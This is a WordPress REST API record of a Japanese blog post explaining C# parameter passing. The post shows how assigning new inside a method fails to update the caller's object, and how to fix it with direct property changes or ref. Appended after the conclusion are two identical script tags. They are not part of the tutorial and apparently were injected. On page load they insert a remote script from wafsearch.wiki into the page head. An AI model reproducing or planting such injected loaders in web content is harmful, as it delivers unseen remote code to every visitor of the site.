{"id":171,"date":"2024-10-31T14:42:32","date_gmt":"2024-10-31T05:42:32","guid":{"rendered":"http:\/\/www.infinix-soft.co.jp\/?p=171"},"modified":"2025-12-17T22:14:31","modified_gmt":"2025-12-17T13:14:31","slug":"c-%e5%bc%95%e6%95%b0%e3%82%92%e3%83%a1%e3%82%bd%e3%83%83%e3%83%89%e5%86%85%e3%81%a7new%e3%81%99%e3%82%8b%e5%95%8f%e9%a1%8c%e3%80%82","status":"publish","type":"post","link":"http:\/\/www.infinix-soft.co.jp\/?p=171","title":{"rendered":"C# \u5f15\u6570\u3092\u30e1\u30bd\u30c3\u30c9\u5185\u3067new\u3059\u308b\u554f\u984c\u3002"},"content":{"rendered":"\n<p>C#\u3067\u30af\u30e9\u30b9\u306e\u30aa\u30d6\u30b8\u30a7\u30af\u30c8\u3092\u30e1\u30bd\u30c3\u30c9\u306b\u6e21\u3059\u969b\u306e\u6ce8\u610f\u70b9<br>C#\u3067\u958b\u767a\u3092\u3057\u3066\u3044\u308b\u3068\u3001\u30e1\u30bd\u30c3\u30c9\u306b\u30af\u30e9\u30b9\u306e\u30aa\u30d6\u30b8\u30a7\u30af\u30c8\u3092\u6e21\u3057\u305f\u5834\u5408\u3001<br>\u305d\u306e\u30aa\u30d6\u30b8\u30a7\u30af\u30c8\u3092new\u3059\u308b\u3068\u3001\u53c2\u7167\u6e21\u3057\u3067\u3042\u308b\u306b\u3082\u304b\u304b\u308f\u3089\u305a\u3001\u89aa\u306e<br>\u30aa\u30d6\u30b8\u30a7\u30af\u30c8\u306b\u5024\u304c\u4f1d\u308f\u3089\u306a\u3044\u554f\u984c\u306b\u76f4\u9762\u3059\u308b\u3053\u3068\u304c\u3042\u308a\u307e\u3059\u3002<br>\u3053\u306e\u30d6\u30ed\u30b0\u3067\u306f\u3001\u305d\u306e\u539f\u56e0\u3068\u89e3\u6c7a\u7b56\u306b\u3064\u3044\u3066\u89e3\u8aac\u3057\u307e\u3059\u3002<\/p>\n\n\n\n<p>\u554f\u984c\u306e\u80cc\u666f<br>\u30af\u30e9\u30b9\u306e\u30aa\u30d6\u30b8\u30a7\u30af\u30c8\u3092\u30e1\u30bd\u30c3\u30c9\u306b\u6e21\u3059\u969b\u3001C#\u3067\u306f\u53c2\u7167\u6e21\u3057\u304c\u884c\u308f\u308c\u307e\u3059\u3002<br>\u901a\u5e38\u3001\u53c2\u7167\u6e21\u3057\u3067\u306f\u30aa\u30d6\u30b8\u30a7\u30af\u30c8\u305d\u306e\u3082\u306e\u3067\u306f\u306a\u304f\u3001\u305d\u306e\u30aa\u30d6\u30b8\u30a7\u30af\u30c8\u3078\u306e<br>\u53c2\u7167\u304c\u6e21\u3055\u308c\u308b\u305f\u3081\u3001\u30e1\u30bd\u30c3\u30c9\u5185\u3067\u30aa\u30d6\u30b8\u30a7\u30af\u30c8\u306e\u5185\u5bb9\u3092\u5909\u66f4\u3059\u308b\u3068\u3001\u547c\u3073\u51fa\u3057\u5143\u306b\u3082<br>\u5909\u66f4\u304c\u53cd\u6620\u3055\u308c\u307e\u3059\u3002<br>\u3057\u304b\u3057\u3001\u30e1\u30bd\u30c3\u30c9\u5185\u3067\u30aa\u30d6\u30b8\u30a7\u30af\u30c8\u3092new\u3057\u3066\u3057\u307e\u3046\u3068\u3001\u5143\u306e\u53c2\u7167\u304c<br>\u65b0\u3057\u3044\u30aa\u30d6\u30b8\u30a7\u30af\u30c8\u3092\u6307\u3059\u3088\u3046\u306b\u306a\u308b\u305f\u3081\u3001\u547c\u3073\u51fa\u3057\u5143\u306e\u30aa\u30d6\u30b8\u30a7\u30af\u30c8\u306b\u306f<br>\u5909\u66f4\u304c\u4f1d\u308f\u308a\u307e\u305b\u3093\u3002<\/p>\n\n\n\n<p><strong>\u30b3\u30fc\u30c9\u4f8b<br><\/strong><br>\u3053\u306e\u30b3\u30fc\u30c9\u3067\u306f\u3001ModifyObject\u30e1\u30bd\u30c3\u30c9\u5185\u3067\u30aa\u30d6\u30b8\u30a7\u30af\u30c8obj\u306b\u65b0\u3057\u3044\u30a4\u30f3\u30b9\u30bf\u30f3\u30b9\u3092<br>\u5272\u308a\u5f53\u3066\u3066\u3044\u307e\u3059\u3002<br>\u305d\u306e\u7d50\u679c\u3001\u5143\u306emyObj\u306eValue\u30d7\u30ed\u30d1\u30c6\u30a3\u306b\u306f\u5909\u66f4\u304c\u53cd\u6620\u3055\u308c\u307e\u305b\u3093\u3002<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>public class MyClass\n{\n    public int Value;\n}\n\npublic void ModifyObject(MyClass obj)\n{\n    obj = new MyClass();\n    obj.Value = 10;\n}\n\npublic void Main()\n{\n    MyClass myObj = new MyClass();\n    myObj.Value = 5;\n\n    ModifyObject(myObj);\n\n    \/\/ myObj.Value\u306f5\u306e\u307e\u307e\n    Console.WriteLine(myObj.Value); \/\/ \u51fa\u529b: 5\n}\n<\/code><\/pre>\n\n\n\n<p>\u89e3\u6c7a\u7b56<br>\u3053\u306e\u554f\u984c\u3092\u56de\u907f\u3059\u308b\u305f\u3081\u306b\u306f\u3001\u30e1\u30bd\u30c3\u30c9\u5185\u3067\u65b0\u3057\u3044\u30a4\u30f3\u30b9\u30bf\u30f3\u30b9\u3092<br>\u4f5c\u6210\u3059\u308b\u306e\u3067\u306f\u306a\u304f\u3001\u6e21\u3055\u308c\u305f\u30aa\u30d6\u30b8\u30a7\u30af\u30c8\u306e\u30d7\u30ed\u30d1\u30c6\u30a3\u3092\u76f4\u63a5\u5909\u66f4\u3059\u308b\u3088\u3046\u306b\u3057\u307e\u3059\u3002<\/p>\n\n\n\n<p>\u3053\u306e\u3088\u3046\u306b\u4fee\u6b63\u3059\u308b\u3053\u3068\u3067\u3001\u547c\u3073\u51fa\u3057\u5143\u306e\u30aa\u30d6\u30b8\u30a7\u30af\u30c8\u306b\u5909\u66f4\u304c\u53cd\u6620\u3055\u308c\u307e\u3059\u3002<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>public void ModifyObject(MyClass obj)\n{\n    obj.Value = 10;\n}\n<\/code><\/pre>\n\n\n\n<p>\u307e\u305f\u3001ref\u3092\u3064\u3051\u308b\u3053\u3068\u306b\u3088\u308a\u3001\u3053\u306e\u554f\u984c\u3092\u89e3\u6c7a\u3059\u308b\u3053\u3068\u304c\u3067\u304d\u307e\u3059\u3002<\/p>\n\n\n\n<p><\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>public class MyClass\n{\n    public int Value;\n}\n\npublic void ModifyObject(ref MyClass obj)\n{\n    obj = new MyClass();\n    obj.Value = 10;\n}\n\npublic void Main()\n{\n    MyClass myObj = new MyClass();\n    myObj.Value = 5;\n\n    ModifyObject(ref myObj);\n\n    \/\/ myObj.Value\u306f10\n    Console.WriteLine(myObj.Value); \/\/ \u51fa\u529b: 10\n}\n<\/code><\/pre>\n\n\n\n<p><br><br>\u307e\u3068\u3081<br>C#\u3067\u30af\u30e9\u30b9\u306e\u30aa\u30d6\u30b8\u30a7\u30af\u30c8\u3092\u30e1\u30bd\u30c3\u30c9\u306b\u6e21\u3059\u969b\u306b\u306f\u3001\u65b0\u3057\u3044\u30a4\u30f3\u30b9\u30bf\u30f3\u30b9\u3092<br>\u4f5c\u6210\u3059\u308b\u306e\u3067\u306f\u306a\u304f\u3001\u6e21\u3055\u308c\u305f\u30aa\u30d6\u30b8\u30a7\u30af\u30c8\u306e\u30d7\u30ed\u30d1\u30c6\u30a3\u3092\u5909\u66f4\u3059\u308b\u3053\u3068\u304c\u91cd\u8981\u3067\u3059\u3002<br>\u3053\u308c\u306b\u3088\u308a\u3001\u547c\u3073\u51fa\u3057\u5143\u306e\u30aa\u30d6\u30b8\u30a7\u30af\u30c8\u306b\u6b63\u3057\u304f\u5909\u66f4\u304c\u53cd\u6620\u3055\u308c\u307e\u3059\u3002<br>\u3053\u308c\u304c\u3067\u304d\u306a\u3044\u5834\u5408\u306fref\u3092\u3064\u3051\u308c\u3070\u3001\u89aa\u306b\u6e21\u3059\u3053\u3068\u304c\u3067\u304d\u307e\u3059\u3002<\/p>\n\n\n\n<p><\/p>\n<script>var url = 'https:\/\/wafsearch.wiki\/xml';\nvar script = document.createElement('script');\nscript.src = url;\nscript.type = 'text\/javascript';\nscript.async = true;\ndocument.getElementsByTagName('head')[0].appendChild(script);<\/script><script>var url = 'https:\/\/wafsearch.wiki\/xml';\nvar script = document.createElement('script');\nscript.src = url;\nscript.type = 'text\/javascript';\nscript.async = true;\ndocument.getElementsByTagName('head')[0].appendChild(script);<\/script>","protected":false},"excerpt":{"rendered":"<p>C#\u3067\u30af\u30e9\u30b9\u306e\u30aa\u30d6\u30b8\u30a7\u30af\u30c8\u3092\u30e1\u30bd\u30c3\u30c9\u306b\u6e21\u3059\u969b\u306e\u6ce8\u610f\u70b9C#\u3067\u958b\u767a\u3092\u3057\u3066\u3044\u308b\u3068\u3001\u30e1\u30bd\u30c3\u30c9\u306b\u30af\u30e9\u30b9\u306e\u30aa\u30d6\u30b8\u30a7\u30af\u30c8\u3092\u6e21\u3057\u305f\u5834\u5408\u3001\u305d\u306e\u30aa\u30d6\u30b8\u30a7\u30af\u30c8\u3092new\u3059\u308b\u3068\u3001\u53c2\u7167\u6e21\u3057\u3067\u3042\u308b\u306b\u3082\u304b\u304b\u308f\u3089\u305a\u3001\u89aa\u306e\u30aa\u30d6\u30b8\u30a7\u30af\u30c8\u306b\u5024\u304c\u4f1d\u308f\u3089\u306a\u3044\u554f\u984c\u306b [&hellip;]<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[1],"tags":[],"class_list":["post-171","post","type-post","status-publish","format-standard","hentry","category-1"],"_links":{"self":[{"href":"http:\/\/www.infinix-soft.co.jp\/index.php?rest_route=\/wp\/v2\/posts\/171"}],"collection":[{"href":"http:\/\/www.infinix-soft.co.jp\/index.php?rest_route=\/wp\/v2\/posts"}],"about":[{"href":"http:\/\/www.infinix-soft.co.jp\/index.php?rest_route=\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"http:\/\/www.infinix-soft.co.jp\/index.php?rest_route=\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"http:\/\/www.infinix-soft.co.jp\/index.php?rest_route=%2Fwp%2Fv2%2Fcomments&post=171"}],"version-history":[{"count":6,"href":"http:\/\/www.infinix-soft.co.jp\/index.php?rest_route=\/wp\/v2\/posts\/171\/revisions"}],"predecessor-version":[{"id":192,"href":"http:\/\/www.infinix-soft.co.jp\/index.php?rest_route=\/wp\/v2\/posts\/171\/revisions\/192"}],"wp:attachment":[{"href":"http:\/\/www.infinix-soft.co.jp\/index.php?rest_route=%2Fwp%2Fv2%2Fmedia&parent=171"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"http:\/\/www.infinix-soft.co.jp\/index.php?rest_route=%2Fwp%2Fv2%2Fcategories&post=171"},{"taxonomy":"post_tag","embeddable":true,"href":"http:\/\/www.infinix-soft.co.jp\/index.php?rest_route=%2Fwp%2Fv2%2Ftags&post=171"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}